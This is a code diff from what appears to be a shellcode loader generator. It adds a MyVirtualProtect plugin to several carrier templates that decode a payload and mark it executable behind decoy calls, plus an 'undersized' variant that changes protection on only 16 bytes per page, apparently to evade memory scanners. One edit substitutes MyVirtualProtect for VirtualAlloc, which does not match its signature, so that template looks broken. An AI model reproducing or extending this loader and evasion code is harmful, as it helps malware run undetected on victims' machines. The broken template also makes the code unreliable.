feature: MyVirtualProtect

data/source/carrier/alloc_rw_rx/template.c

@@ -15,6 +15,7 @@ char *supermega_payload;
 
 {{plugin_executionguardrail}}
 
+{{plugin_virtualprotect}}
 
 /* VirtualAlloc -> rw -> rx
 
@@ -49,7 +50,7 @@ int main()
 	// to:   dest[]
 {{ plugin_decoder }}
 
-	if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
+	if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
 		return 7;
 	}
 

data/source/carrier/change_rw_rx/template.c

@@ -39,13 +39,13 @@ int main()
 	// Call: Decoy plugin
 	decoy();
 
-    if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RW, &result) == 0) {
+    if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RW, &result) == 0) {
         return 16;
     }
 
 {{ plugin_decoder }}
 
-    if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
+    if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
         return 16;
     }
 

data/source/carrier/dll_loader_alloc/template.c

@@ -166,7 +166,7 @@ int main()
 	// Call: Decoy plugin
 	decoy();
 
-	dest = VirtualAlloc(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE);
+	dest = MyVirtualProtect(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE);
 
 	// FROM supermega_payload[] 
 	// TO dest[]

data/source/carrier/dll_loader_change/template.c

@@ -201,7 +201,7 @@ int main()
 	// Call: Decoy plugin
 	decoy();
 
-	VirtualProtect((LPVOID)dest, {{PAYLOAD_LEN}}, PAGE_EXECUTE_READWRITE, &oldProtect);
+	MyVirtualProtect((LPVOID)dest, {{PAYLOAD_LEN}}, PAGE_EXECUTE_READWRITE, &oldProtect);
 
 	// FROM supermega_payload[] 
 	// TO dest[]

data/source/carrier/peb_walk/template.c

@@ -5,7 +5,7 @@
 char *supermega_payload;
 
 /* peb_walk
-   Standard shellcode which will resolve IAT by itself with a peb walk
+   Test shellcode which will resolve IAT by itself with a peb walk
    no IAT reuse is performed
    no data reuse is performed
 */

data/source/virtualprotect/standard.c

@@ -0,0 +1,9 @@
+
+BOOL MyVirtualProtect(
+    LPVOID lpAddress,
+    SIZE_T dwSize,
+    DWORD flNewProtect, 
+    PDWORD lpflOldprotect
+) {
+    return VirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldprotect);
+}

data/source/virtualprotect/undersized.c

@@ -0,0 +1,19 @@
+
+// How many bytes we VirtualProtect
+#define VP_SIZE 16
+
+BOOL MyVirtualProtect(
+    LPVOID lpAddress,
+    SIZE_T dwSize,
+    DWORD flNewProtect, 
+    PDWORD lpflOldprotect
+) {
+    char *dest = (char *)lpAddress;
+
+    for(int n=0; n<(dwSize/4096)+1; n++) {
+        if (VirtualProtect(dest + (n * 4096), VP_SIZE, flNewProtect, lpflOldprotect) == 0) {
+            return FALSE;
+        }
+    }
+    return TRUE;
+}